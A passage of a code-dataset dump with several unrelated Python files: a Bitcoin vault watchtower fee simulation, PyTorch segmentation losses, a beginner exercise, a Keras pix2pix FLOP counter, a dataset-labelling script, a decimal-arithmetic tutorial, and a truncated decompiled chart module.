# The delegate rate is per day\n if random.random() < self.delegate_rate / BLOCKS_PER_DAY:\n self.delegate_sequence(block)\n\n # The spend rate is per day\n if random.random() < self.unvault_rate / BLOCKS_PER_DAY:\n if self.scale_fixed:\n self.delegate_sequence(block)\n\n # generate invalid spend, requires cancel\n if random.random() < self.invalid_spend_rate:\n try:\n self.cancel(block)\n except NoVaultToSpend:\n logging.info(\"Failed to Cancel, no vault to spend\")\n # generate valid spend, requires processing\n else:\n try:\n self.spend(block)\n except NoVaultToSpend:\n logging.info(\"Failed to Spend, no vault to spend\")\n\n # The catastrophe rate is a rate per day\n if random.random() < self.catastrophe_rate / BLOCKS_PER_DAY:\n try:\n self.catastrophe_sequence(block)\n except NoVaultToSpend:\n logging.info(\"Failed to Cancel (catastrophe), no vault to spend\")\n # Reboot operation after catastrophe\n self.refill_sequence(block, self.num_vaults)\n\n if self.with_balance:\n self.balances.append(\n [\n block,\n self.wt.balance(),\n self.required_reserve(block),\n self.wt.unallocated_balance(),\n ]\n )\n\n if self.with_op_cost or self.with_cum_op_cost:\n self.costs.append(\n [block, self.refill_fee, self.cf_fee, self.cancel_fee]\n )\n self.refill_fee, self.cf_fee, self.cancel_fee = None, None, None\n\n if self.with_cum_op_cost:\n was_risky = is_risky\n is_risky = any(\n self.wt.under_requirement(v, block)\n for v in self.wt.list_available_vaults()\n )\n # If its state changed, record the block\n if not was_risky and is_risky:\n risk_on = block\n elif was_risky and not is_risky:\n risk_off = block\n self.wt_risk_time.append((risk_on, risk_off))\n\n if self.with_divergence or self.with_risk_status:\n self.compute_reserve_divergence(block)\n\n if self.with_fb_coins_dist:\n if block % 10_000 == 0:\n self.fb_coins_dist.append([block, self.wt.fb_coins_dist(block)])\n\n if self.wt.mempool != []:\n for tx in self.wt.mempool:\n if isinstance(tx, CancelTx):\n self.report_df[\"max_cancel_conf_time\"].loc[0] = max(\n self.report_df[\"max_cancel_conf_time\"].loc[0],\n block - tx.broadcast_height,\n )\n if block - tx.broadcast_height >= self.wt.locktime:\n logging.info(\n f\"Transaction {tx} was not confirmed before the\"\n \" expiration of the locktime!\"\n )\n raise (\n RuntimeError(\n \"Watchtower failed to confirm cancel\"\n \" transaction in time. All your base are belong\"\n \" to us.\"\n )\n )\n if isinstance(tx, ConsolidateFanoutTx):\n self.report_df[\"max_cf_conf_time\"].loc[0] = max(\n self.report_df[\"max_cf_conf_time\"].loc[0],\n block - tx.broadcast_height,\n )\n\n def plot(self, output=None, show=False):\n \"\"\"Plot info about the simulation stored according to configuration.\n If {output} is set, will write the plot image to this file.\n\n Returns a string containing a \"report\" about the simulation.\n \"\"\"\n report = self.report_init\n plt.style.use([\"plot_style.txt\"])\n\n subplots_len = sum(\n int(a)\n for a in [\n self.with_balance,\n self.with_divergence,\n self.with_op_cost,\n self.with_cum_op_cost,\n self.with_overpayments,\n self.with_risk_status,\n self.with_fb_coins_dist,\n ]\n )\n figure, axes = plt.subplots(\n subplots_len, 1, sharex=True, figsize=(5.4, subplots_len * 3.9)\n )\n plot_num = 0\n\n # Plot WT balance vs total required reserve\n if self.with_balance and self.balances != []:\n bal_df = DataFrame(\n self.balances,\n columns=[\"block\", \"Balance\", \"Required Reserve\", \"Unallocated Balance\"],\n )\n bal_df.set_index([\"block\"], inplace=True)\n bal_df.plot(ax=axes[plot_num], title=\"WT Balance\", legend=True)\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n self.report_df[\"mean_balance\"] = bal_df[\"Balance\"].mean()\n plot_num += 1\n\n costs_df = None\n if self.costs != []:\n costs_df = DataFrame(\n self.costs, columns=[\"block\", \"Refill Fee\", \"CF Fee\", \"Cancel Fee\"]\n )\n report += f\"Refill operations: {costs_df['Refill Fee'].count()}\\n\"\n\n # Plot refill amount vs block, operating expense vs block\n if self.with_op_cost and costs_df is not None:\n costs_df.plot.scatter(\n x=\"block\",\n y=\"Refill Fee\",\n s=10,\n color=\"r\",\n ax=axes[plot_num],\n label=\"Refill Fee\",\n )\n costs_df.plot.scatter(\n x=\"block\",\n y=\"CF Fee\",\n s=10,\n color=\"g\",\n ax=axes[plot_num],\n label=\"CF Fee\",\n )\n costs_df.plot.scatter(\n x=\"block\",\n y=\"Cancel Fee\",\n s=10,\n color=\"b\",\n ax=axes[plot_num],\n label=\"Cancel Fee\",\n )\n axes[plot_num].legend(loc=\"upper left\")\n axes[plot_num].set_title(\"Operating Costs Breakdown\")\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n\n plot_num += 1\n\n # Plot cumulative operating costs (CF, Cancel, Spend)\n if self.with_cum_op_cost and costs_df is not None:\n cumulative_costs_df = costs_df\n cumulative_costs_df.set_index([\"block\"], inplace=True)\n cumulative_costs_df = cumulative_costs_df.fillna(0).cumsum()\n cumulative_costs_df.plot.line(\n ax=axes[plot_num],\n color={\"Refill Fee\": \"r\", \"CF Fee\": \"g\", \"Cancel Fee\": \"b\"},\n )\n axes[plot_num].legend(loc=\"upper left\")\n axes[plot_num].set_title(\"Cumulative Operating Costs\")\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n self.report_df[\"cum_cancel_fee\"].loc[0] = cumulative_costs_df[\n \"Cancel Fee\"\n ].iloc[-1]\n self.report_df[\"cum_cf_fee\"].loc[0] = cumulative_costs_df[\"CF Fee\"].iloc[-1]\n self.report_df[\"cum_refill_fee\"].loc[0] = cumulative_costs_df[\n \"Refill Fee\"\n ].iloc[-1]\n self.report_df[\"cum_ops_cost\"].loc[0] = (\n self.report_df[\"cum_refill_fee\"].loc[0]\n + self.report_df[\"cum_cf_fee\"].loc[0]\n + self.report_df[\"cum_cancel_fee\"].loc[0]\n )\n report += (\n \"Total cumulative cancel fee cost:\"\n f\" {self.report_df['cum_cancel_fee'].loc[0]}\\n\"\n )\n report += (\n \"Total cumulative consolidate-fanout fee cost:\"\n f\" {self.report_df['cum_cf_fee'].loc[0]}\\n\"\n )\n report += (\n \"Total cumulative refill fee cost:\"\n f\" {self.report_df['cum_refill_fee'].loc[0]}\\n\"\n )\n report += (\n f\"Total cumulative cost: {self.report_df['cum_ops_cost'].loc[0]}\\n\"\n )\n\n # Highlight the plot with areas that show when the WT is at risk due to at least one\n # insufficient vault fee-reserve\n for (risk_on, risk_off) in self.wt_risk_time:\n axes[plot_num].axvspan(risk_off, risk_on, color=\"red\", alpha=0.25)\n\n report += f\"Analysis time span: {self.start_block} to {self.end_block}\\n\"\n risk_time = 0\n for (risk_on, risk_off) in self.wt_risk_time:\n risk_time += risk_off - risk_on\n report += f\"Total time at risk: {risk_time} blocks\\n\"\n self.report_df[\"time_at_risk\"].loc[0] = risk_time\n\n # What about avg recovery time?\n recovery_times = []\n for (risk_on, risk_off) in self.wt_risk_time:\n recovery_times.append(risk_off - risk_on)\n if recovery_times != []:\n self.report_df[\"mean_recovery_time\"].loc[0] = np.mean(recovery_times)\n report += (\n f\"Mean recovery time: {self.report_df['mean_recovery_time'].loc[0]}\"\n \" blocks\\n\"\n )\n self.report_df[\"median_recovery_time\"].loc[0] = np.median(\n recovery_times\n )\n report += (\n \"Median recovery time:\"\n f\" {self.report_df['median_recovery_time'].loc[0]} blocks\\n\"\n )\n self.report_df[\"max_recovery_time\"].loc[0] = max(recovery_times)\n report += (\n f\"Max recovery time: {self.report_df['max_recovery_time'].loc[0]}\"\n \" blocks\\n\"\n )\n\n plot_num += 1\n\n # Plot vault reserves divergence\n if self.with_divergence and self.divergence != []:\n div_df = DataFrame(\n self.divergence,\n columns=[\"Block\", \"MeanDivergence\", \"MinDivergence\", \"MaxDivergence\"],\n )\n div_df.set_index(\"Block\", inplace=True)\n div_df[\"MeanDivergence\"].plot(\n ax=axes[plot_num], label=\"Mean Divergence\", legend=True\n )\n div_df[\"MinDivergence\"].plot(\n ax=axes[plot_num], label=\"Minimum Divergence\", legend=True\n )\n div_df[\"MaxDivergence\"].plot(\n ax=axes[plot_num], label=\"Max Divergence\", legend=True\n )\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n axes[plot_num].set_title(\"Vault Reserve \\n Divergence from Requirement\")\n plot_num += 1\n\n # Plot WT risk status\n if self.with_risk_status and self.risk_status != []:\n risk_status_df = DataFrame(\n self.risk_status, columns=[\"block\", \"risk coefficient\"]\n )\n self.report_df[\"max_risk_coef\"] = risk_status_df[\"risk coefficient\"].max()\n risk_status_df.set_index([\"block\"], inplace=True)\n risk_status_df.plot(ax=axes[plot_num])\n axes[plot_num].set_title(\"Risk Coefficient, $\\Omega$\")\n axes[plot_num].set_ylabel(\"Severity\", labelpad=15)\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n plot_num += 1\n\n # Plot overpayments\n if self.with_overpayments and self.overpayments != []:\n df = DataFrame(self.overpayments, columns=[\"block\", \"overpayments\"])\n df[\"cumulative\"] = df[\"overpayments\"].cumsum()\n df.plot(\n ax=axes[plot_num],\n x=\"block\",\n y=\"overpayments\",\n color=\"k\",\n alpha=0.5,\n kind=\"scatter\",\n label=\"Single\",\n legend=True,\n ).legend(loc=\"center left\")\n df.set_index([\"block\"], inplace=True)\n ax2 = axes[plot_num].twinx()\n df[\"cumulative\"].plot(\n ax=ax2, label=\"Cumulative\", color=\"b\", legend=True\n ).legend(loc=\"center right\")\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n axes[plot_num].set_title(\"Cancel Fee Overpayments\")\n plot_num += 1\n\n # Plot fb_coins_dist\n if self.with_fb_coins_dist and self.fb_coins_dist != []:\n for frame in self.fb_coins_dist:\n tuples = list(zip([frame[0] for i in frame[1]], frame[1]))\n df = DataFrame(tuples, columns=[\"Block\", \"amount\"])\n df.plot.scatter(\n x=\"Block\",\n y=\"amount\",\n style=\"-\",\n alpha=1,\n s=10,\n ax=axes[plot_num],\n legend=False,\n )\n axes[plot_num].set_title(\"Fee-bump Coins Distribution\")\n axes[plot_num].set_ylabel(\"Satoshis\", labelpad=15)\n axes[plot_num].set_xlabel(\"Block\", labelpad=15)\n\n plot_num += 1\n\n # Report confirmation tracking\n report += (\n \"Max confirmation time for a Cancel Tx:\"\n f\" {self.report_df['max_cancel_conf_time'].loc[0]}\\n\"\n )\n report += (\n \"Max confirmation time for a Consolidate-fanout Tx:\"\n f\" {self.report_df['max_cf_conf_time'].loc[0]}\\n\"\n )\n\n if output is not None:\n plt.savefig(f\"{output}.png\")\n\n if show:\n plt.show()\n\n if self.delegation_failures > 0 or self.delegation_successes > 0:\n self.report_df[\"delegation_failure_count\"].loc[0] = self.delegation_failures\n self.report_df[\"delegation_failure_rate\"].loc[\n 0\n ] = self.delegation_failures / (\n self.delegation_successes + self.delegation_failures\n )\n\n self.report_df[\"delegation_failure_rate\"].loc[0] = None\n report += (\n f\"Delegation failures: {self.delegation_failures} /\"\n f\" { (self.delegation_successes + self.delegation_failures)}\"\n f\" ({(self.delegation_failures / (self.delegation_successes + self.delegation_failures) )* 100}%)\\n\"\n )\n\n return (report, self.report_df)\n\n def plot_fee_history(self, start_block, end_block, output=None, show=False):\n\n plt.style.use([\"plot_style.txt\"])\n fig, axes = plt.subplots(1, 1, figsize=(5.4, 3.9))\n self.wt.hist_df[\"mean_feerate\"][start_block:end_block].plot(color=\"black\")\n axes.set_ylabel(\"Satoshis per Weight Unit\", labelpad=15)\n axes.set_xlabel(\"Block\", labelpad=15)\n\n if output is not None:\n plt.savefig(f\"{output}.png\")\n\n if show:\n plt.show()\n\n def plot_frpv(self, start_block, end_block, output=None, show=False):\n plt.style.use([\"plot_style.txt\"])\n frpv = []\n for block in range(start_block, end_block):\n frpv.append((block, self.wt.fee_reserve_per_vault(block)))\n df = DataFrame(frpv, columns=[\"block\", \"frpv\"])\n df.set_index(\"block\", inplace=True)\n fig = df.plot()\n plt.title(\"Fee Reserve per Vault\")\n\n plt.xlabel(\"Block\", labelpad=15)\n plt.ylabel(\"Feerate (sats/vByte)\", labelpad=15)\n fig.size = 3, 7\n\n if output is not None:\n plt.savefig(f\"{output}.png\")\n\n if show:\n plt.show()\n\n def plot_fee_estimate(\n self, comp_strat, start_block, end_block, output=None, show=False\n ):\n plt.style.use([\"plot_style.txt\"])\n estimates = []\n for block in range(start_block, end_block):\n est1 = self.wt.next_block_feerate(block)\n self.wt.fallback_est_strat = comp_strat\n est2 = self.wt._feerate(block)\n estimates.append([block, est1, est2])\n\n est_df = DataFrame(\n estimates, columns=[\"block\", \"estimateSmartFee-1\", comp_strat]\n )\n est_df.set_index(\"block\", inplace=True)\n fig = est_df.plot()\n\n plt.title(\"Feerate Estimates\")\n plt.xlabel(\"Block\", labelpad=15)\n plt.ylabel(\"Feerate (sats/vByte)\", labelpad=15)\n\n if output is not None:\n plt.savefig(f\"{output}.png\")\n\n if show:\n plt.show()\n","sub_path":"feebumping/model/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":34039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"590758128","text":"from torch.nn.modules.loss import _Loss\nfrom torch.autograd import Variable\nimport torch\nimport numpy as np\n\ndef dice_loss(input, target):\n smooth = 1.\n\n iflat = input.view(-1)\n tflat = target.view(-1)\n\n intersection = (iflat * tflat).sum()\n \n return 1 - ((2. * intersection + smooth) /\n ((iflat*iflat).sum() + (tflat*tflat).sum() + smooth))\n\ndef discriminative_loss(prediction, target, feature_dim, image_shape, delta_v, delta_d, usegpu):\n\n alpha = beta = 1.0\n gamma = 0.001\n param_scale = 1.\n\n device = torch.device('cuda:0')\n\n batch_size = prediction.size()[0]\n\n # Reshape so pixels are aligned along a vector\n prediction_flat = prediction.view(batch_size, feature_dim, image_shape[0]*image_shape[1])\n target_flat = target.view(batch_size, image_shape[0]*image_shape[1])\n\n total_loss = 0\n\n for img_i in range(batch_size):\n\n # Count instances\n unique_labels, unique_id = torch.unique(target_flat[img_i], return_inverse=True)\n unique_counts = torch.stack([(target_flat[img_i]==label).sum() for label in unique_labels])\n unique_counts = unique_counts.type(torch.cuda.FloatTensor)\n n_instances = unique_labels.shape[0]\n\n unique_id_expand = unique_id.repeat(feature_dim,1)\n\n # Calculate means (centres of clusters)\n segmented_sum = torch.zeros(feature_dim, n_instances)\n segmented_sum = segmented_sum.cuda(device)\n segmented_sum = segmented_sum.scatter_add(1, unique_id_expand, prediction_flat[img_i])\n\n means = torch.div(segmented_sum, unique_counts)\n means_expand = torch.gather(means, 1, unique_id_expand)\n\n ### Calculate variance term l_var\n distance = torch.norm((means_expand - prediction_flat[img_i]), dim=0) - delta_v\n distance = torch.clamp(distance, min=0.0) ** 2\n\n l_var = torch.zeros(n_instances)\n l_var = l_var.cuda(device)\n l_var = l_var.scatter_add(0, unique_id, distance)\n\n l_var = torch.div(l_var, unique_counts)\n l_var = torch.sum(l_var)\n l_var = torch.div(l_var, float(n_instances))\n\n ### Calculate distance term l_dist\n\n # Get distance for each pair of clusters like this:\n # mu_1 - mu_1\n # mu_2 - mu_1\n # mu_3 - mu_1\n # mu_1 - mu_2\n # mu_2 - mu_2\n # mu_3 - mu_2\n # mu_1 - mu_3\n # mu_2 - mu_3\n # mu_3 - mu_3\n \n mu_interleaved_rep = torch.t(means).repeat(1,n_instances).view(-1, feature_dim)\n mu_band_rep = means.repeat(1, n_instances)\n mu_band_rep = torch.t(mu_band_rep)\n \n mu_diff = torch.add(mu_band_rep, -mu_interleaved_rep) # should be sized n_instances*n_instances\n\n # Filter out zeros from same cluster subtraction\n intermediate_tensor = torch.sum(torch.abs(mu_diff), dim=1)\n zero_vector = torch.zeros(1)\n zero_vector = zero_vector.cuda(device)\n bool_mask = torch.ne(intermediate_tensor, zero_vector)\n bool_mask = bool_mask.view(-1, 1)\n \n mu_diff_bool = torch.masked_select(mu_diff, bool_mask).view(-1,feature_dim)\n \n mu_norm = 2 * delta_d - torch.norm(mu_diff_bool, dim=1, p=2)\n mu_norm = torch.clamp(mu_norm, min=0.0) ** 2\n\n l_dist = torch.mean(mu_norm)\n\n ### Calculate regularization term l_reg\n l_reg = torch.mean(torch.norm(means, dim=1))\n\n loss = param_scale * (alpha * l_var + beta * l_dist + gamma * l_reg)\n\n total_loss = total_loss + loss\n \n return total_loss / batch_size\n\nclass DiscriminativeLoss(_Loss):\n\n def __init__(self, delta_var, delta_dist, image_shape, feature_dim, usegpu=True):\n super(DiscriminativeLoss, self).__init__(True)\n\n self.delta_var = float(delta_var)\n self.delta_dist = float(delta_dist)\n self.image_shape = image_shape\n self.feature_dim = feature_dim\n self.usegpu = usegpu\n\n def forward(self, input, target):\n loss = discriminative_loss(input, target, self.image_shape, self.feature_dim, self.delta_var, self.delta_dist, self.usegpu)\n\n return loss","sub_path":"deep_learning_marcanthia/SCRIPTS/segmentation/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"431515887","text":"#문제2\ndef func_a(arr): # 5의배수를 구하는 함수\n count = 0\n for n in arr:\n if n % 5 == 0: # 값 % 5 == 0 5의배수\n count += 1\n return count\n\ndef func_b(three, five): # 3의배수와 5의배수 개수 비교\n if three > five: # 3배수개수 > 5배수개수\n return \"three\"\n elif three < five: # 3배수개수 < 5배수개수\n return \"five\"\n else: # 3배수개수 == 5배수개수\n return \"same\"\n\ndef func_c(arr): # 3의배수를 구하는 함수\n count = 0\n for n in arr:\n if n % 3 == 0: # 값 % 3 == 0 3의 배수\n count += 1\n return count\n\ndef solution(arr):\n count_three = func_c(arr)\n count_five = func_a(arr)\n answer = func_b(count_three, count_five)\n return answer\n\n#아래는 테스트케이스 출력을 해보기 위한 코드입니다.\narr = [2, 3, 6, 9, 12, 15, 10, 20, 22, 25]\nret = solution(arr)\n#[실행] 버튼을 누르면 출력 값을 볼 수 있습니다.\nprint(\"solution 함수의 반환 값은\", ret, \"입니다.\")","sub_path":"COS PRO_2/2차시/문제2.py","file_name":"문제2.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"520060025","text":"# example of defining a u-net encoder-decoder generator model\nfrom tensorflow.keras.initializers import RandomNormal\n# example of defining a u-net encoder-decoder generator model\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras.applications import VGG16\nimport tensorflow as tf\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras.layers import Dense, Conv2D, Flatten, LeakyReLU,Conv2DTranspose,Activation,Concatenate\nfrom tensorflow.keras.layers import Flatten, Dropout, BatchNormalization, GlobalAveragePooling2D, MaxPooling2D, GlobalMaxPooling2D\nfrom tensorflow.keras.models import Model\nimport tempfile\nfrom tensorflow.python.keras import Sequential\nimport os\nimport numpy as np\n\n#######################CORRECT VERSION#################\ndef get_model_memory_usage(batch_size, model):\n\n from tensorflow.keras import backend as K\n\n shapes_mem_count = 0\n internal_model_mem_count = 0\n for l in model.layers:\n layer_type = l.__class__.__name__\n if layer_type == 'Model':\n internal_model_mem_count += get_model_memory_usage(batch_size, l)\n single_layer_mem = 1\n out_shape = l.output_shape\n if type(out_shape) is list:\n out_shape = out_shape[0]\n for s in out_shape:\n if s is None:\n continue\n single_layer_mem *= s\n shapes_mem_count += single_layer_mem\n\n trainable_count = np.sum([K.count_params(p) for p in model.trainable_weights])\n non_trainable_count = np.sum([K.count_params(p) for p in model.non_trainable_weights])\n\n number_size = 4.0\n if K.floatx() == 'float16':\n number_size = 2.0\n if K.floatx() == 'float64':\n number_size = 8.0\n\n total_memory = number_size * (batch_size * shapes_mem_count + trainable_count + non_trainable_count)\n gbytes = np.round(total_memory / (1024.0 ** 3), 3) + internal_model_mem_count\n return gbytes\n\n\ndef count_flops(model):\n \"\"\" Count flops of a keras model\n # Args.\n model: Model,\n # Returns\n int, FLOPs of a model\n # Raises\n TypeError, if a model is not an instance of Sequence or Model\n \"\"\"\n\n if not isinstance(model, (Sequential, Model)):\n raise TypeError(\n 'Model is expected to be an instance of Sequential or Model, '\n 'but got %s' % type(model))\n\n output_op_names = [_out_tensor.op.name for _out_tensor in model.outputs]\n sess = tf.keras.backend.get_session()\n frozen_graph_def = tf.graph_util.convert_variables_to_constants(\n sess, sess.graph.as_graph_def(), output_op_names)\n\n with tempfile.TemporaryDirectory() as tmpdir:\n graph_file = os.path.join(os.path.join(tmpdir, 'graph.pb'))\n with tf.gfile.GFile(graph_file, \"wb\") as f:\n f.write(frozen_graph_def.SerializeToString())\n\n with tf.gfile.GFile(graph_file, \"rb\") as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n\n with tf.Graph().as_default() as new_graph:\n tf.import_graph_def(graph_def, name='')\n tfprof_opts = tf.profiler.ProfileOptionBuilder.float_operation()\n flops = tf.profiler.profile(new_graph, options=tfprof_opts)\n writer = tf.summary.FileWriter('gg', graph=new_graph)\n writer.flush()\n\n return flops\n\n# define an encoder block\ndef define_encoder_block(layer_in, n_filters, batchnorm=True):\n\t# weight initialization\n\tinit = RandomNormal(stddev=0.02)\n\t# add downsampling layer\n\tg = Conv2D(n_filters, (4,4), strides=(2,2), padding='same', kernel_initializer=init)(layer_in)\n\t# conditionally add batch normalization\n\tif batchnorm:\n\t\tg = BatchNormalization()(g, training=True)\n\t# leaky relu activation\n\tg = LeakyReLU(alpha=0.2)(g)\n\treturn g\n\n# define a decoder block\ndef decoder_block(layer_in, skip_in, n_filters, dropout=True):\n\t# weight initialization\n\tinit = RandomNormal(stddev=0.02)\n\t# add upsampling layer\n\tg = Conv2DTranspose(n_filters, (4,4), strides=(2,2), padding='same', kernel_initializer=init)(layer_in)\n\t# add batch normalization\n\tg = BatchNormalization()(g, training=True)\n\t# conditionally add dropout\n\tif dropout:\n\t\tg = Dropout(0.5)(g, training=True)\n\t# merge with skip connection\n\tg = Concatenate()([g, skip_in])\n\t# relu activation\n\tg = Activation('relu')(g)\n\treturn g\n\n# define the standalone generator model\ndef define_generator():\n init = RandomNormal(stddev=0.02)\n # image input\n im_size = 296\n in_image = tf.keras.Input(batch_shape=(1, im_size, im_size, 3))\n\n g = Conv2D(64, (41, 41), strides=(1, 1), padding='valid', kernel_initializer=init)(in_image)\n # conditionally add batch normalization\n # leaky relu activation\n g = LeakyReLU(alpha=0.2)(g)\n\n # encoder model: C64-C128-C256-C512-C512-C512-C512-C512\n e1 = define_encoder_block(g, 64, batchnorm=False)\n e2 = define_encoder_block(e1, 128)\n e3 = define_encoder_block(e2, 256)\n e4 = define_encoder_block(e3, 512)\n e5 = define_encoder_block(e4, 512)\n e6 = define_encoder_block(e5, 512)\n e7 = define_encoder_block(e6, 512)\n # bottleneck, no batch norm and relu\n b = Conv2D(512, (4,4), strides=(2,2), padding='same', kernel_initializer=init)(e7)\n b = Activation('relu')(b)\n # decoder model: CD512-CD1024-CD1024-C1024-C1024-C512-C256-C128\n d1 = decoder_block(b, e7, 512)\n d2 = decoder_block(d1, e6, 512)\n d3 = decoder_block(d2, e5, 512)\n d4 = decoder_block(d3, e4, 512, dropout=False)\n d5 = decoder_block(d4, e3, 256, dropout=False)\n d6 = decoder_block(d5, e2, 128, dropout=False)\n d7 = decoder_block(d6, e1, 64, dropout=False)\n # output\n g = Conv2DTranspose(3, (4,4), strides=(2,2), padding='same', kernel_initializer=init)(d7)\n out_image = Activation('tanh')(g)\n # define model\n model = Model(in_image, out_image)\n return model\n\n# create the model\nmodel = define_generator()\n#print(get_model_memory_usage(1,model))\n#exit(0)\n# summarize the model\n#model.summary()\n#exit(0)\nflops = count_flops(model)\n\n#flops = tf.profiler.profile(K.get_session().graph, options=tf.profiler.ProfileOptionBuilder.float_operation())\nparams = tf.profiler.profile(K.get_session().graph, options=tf.profiler.ProfileOptionBuilder.trainable_variables_parameter())\nprint(\"flops: \", flops.total_float_ops)\nprint(\"GFLOPs: \", flops.total_float_ops / 1000000000.0)\nprint(\"trainable params: \", params.total_parameters)\n\n\n","sub_path":"computations/keras_pix2pix_gen_main.py","file_name":"keras_pix2pix_gen_main.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"438254881","text":"import json\nimport argparse\nimport re\n\n\nparser = argparse.ArgumentParser(description='manually label the dataset')\nparser.add_argument('--filename', type=str, default='./dataset/val/val_data.json',\n help='location of the file')\nparser.add_argument('--greeting_thanks', type=str, default='Thanks a lot for your work',\n help='location of the file')\nparser.add_argument('--greeting_error', type=str, default='illegal input, only \\'1\\' \\'-1\\' \\'q\\'',\n help='location of the file')\n\nargs = parser.parse_args()\n\nprint('Instructions: \\'1\\' for normal | \\'-1\\' for abnormal | \\'q\\' for quit and save | \\'t\\' for translate')\nwith open(args.filename,'r') as load_f:\n load_dict = json.load(load_f)\n json_obj_list = load_dict.get('data')\n\nret_str = ''\n\nfor i, report in enumerate(json_obj_list):\n if 'labelled' not in report:\n continue\n else:\n index = report['index']\n captioning = report['captioning']\n human_tags = report['human_tags']\n mesh_highlight_dict = report['mesh-highlight']\n sent_dict = report['sentence_score']\n\n # sent_list = captioning.rstrip('.').split('.')\n num = 1\n score_dict = {}\n\n tag_score_dict = {}\n mesh_term_normal_dict = {}\n mesh_term_abnormal_dict = {}\n for j, raw in enumerate(zip(list(mesh_highlight_dict.values()),list(mesh_highlight_dict.keys()))):\n raw_tags, mesh_term = raw\n raw_tag_list = raw_tags.split(' ')\n\n dict_word_sentence_times = {}\n for k, raw_tag in enumerate(raw_tag_list):\n sent_tag_list = list(filter(lambda a: a.__contains__(raw_tag), [*sent_dict]))\n if raw_tag not in dict_word_sentence_times:\n dict_word_sentence_times[raw_tag] = (sent_tag_list[0],0)\n else:\n if len(sent_tag_list)>1:\n times = dict_word_sentence_times[raw_tag][1]+1\n dict_word_sentence_times[raw_tag] += (sent_tag_list[times], times)\n else:\n times = dict_word_sentence_times[raw_tag][1]\n dict_word_sentence_times[raw_tag] += (sent_tag_list[times], times)\n\n\n\n raw_tag_abnormal_num = 0\n raw_tag_normal_num = 0\n\n sentence_total = {}\n sentence_total_normal = {}\n sentence_total_abnormal = {}\n\n for key in dict_word_sentence_times.keys():\n sent = dict_word_sentence_times[key][0]\n if sent_dict[sent] == 1:\n sentence_total_normal[sent] = sent_dict[sent]\n if sent_dict[sent] == -1:\n sentence_total_abnormal[sent] = sent_dict[sent]\n mesh_term_normal = len(sentence_total_normal)\n mesh_term_abnormal = len(sentence_total_abnormal)\n\n print(str(mesh_term_normal)+'--'+str(mesh_term_abnormal))\n\n mesh_term_normal_dict[mesh_term] = mesh_term_normal\n mesh_term_abnormal_dict[mesh_term] = mesh_term_abnormal\n\n\n json_obj_list[i]['mesh_term_normal']= mesh_term_normal_dict\n json_obj_list[i]['mesh_term_abnormal'] = mesh_term_abnormal_dict\n print('complete report '+str(i)+'\\n')\n\njson.dump({'data': json_obj_list},open(args.filename,'w',encoding='utf-8'))\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"label_mesh_term.py","file_name":"label_mesh_term.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"522653022","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\n@author: zhaogao\n@license: (C) Copyright 2013-2017.\n@contact: 449628536@qq.com\n@software: learn-py\n@file: len42_执行精确的浮点数运算.py\n@time: 2018/1/17 上午11:55\n'''\n\n# 对浮点数执行精确的计算操作,并且不希望有任何小误差的出现\n# 浮点数的一个普遍问题是它们并不能精确的表示十进制数。并且,即使是最简单的数学运算也会产生小的误差\na = 4.2\nb = 2.1\nresult = a + b\nprint(result)\n\n# 更加精确 (并能容忍一定的性能损耗),你可以使用 decimal 模块\n# Decimal 对象会像普通浮点数一样的工作 (支持所有的常用数学运算)\nfrom decimal import Decimal\n\na = Decimal('4.2')\nb = Decimal('2.1')\nresult = a + b\nprint(result)\nequal = a + b == Decimal('6.3')\nprint(equal)\n\nfrom decimal import localcontext\n\na = Decimal('1.3')\nb = Decimal('1.7')\nprint(a / b)\nwith localcontext() as ctx:\n ctx.prec = 3\n print(a / b)\nwith localcontext() as ctx:\n ctx.prec = 50\n print(a / b)\n\n# 注意下减法删除以及大数和小数的加分运算所带来 的影响\nnums = [1.23e+18, 1, -1.23e+18]\nresult = sum(nums) # Notice how 1 disappears\nprint(result)\n\n# 上面的错误可以利用 math.fsum() 所提供的更精确计算能力来解决\nimport math\n\nresult = math.fsum(nums)\nprint(result)\n","sub_path":"cook/len42_执行精确的浮点数运算.py","file_name":"len42_执行精确的浮点数运算.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"234074269","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/kyle/projects/top30/pyenv/lib/python3.7/site-packages/top30/chart.py\n# Compiled at: 2019-04-09 15:18:15\n# Size of source mod 2**32: 5495 bytes\n\"\"\"\nManages the Top30 chart and related functions\n\"\"\"\nfrom __future__ import unicode_literals\nimport mutagen, os, youtube_dl, top30\n\nclass Chart:\n __doc__ = '\\n A Top 30 chart is what is sent detailing the top 30 songs of the week.\\n '\n\n def __init__(self, chart_file, prefix=''):\n self.prefix = prefix\n self.songs = parse_chart(chart_file)\n for i in range(0, 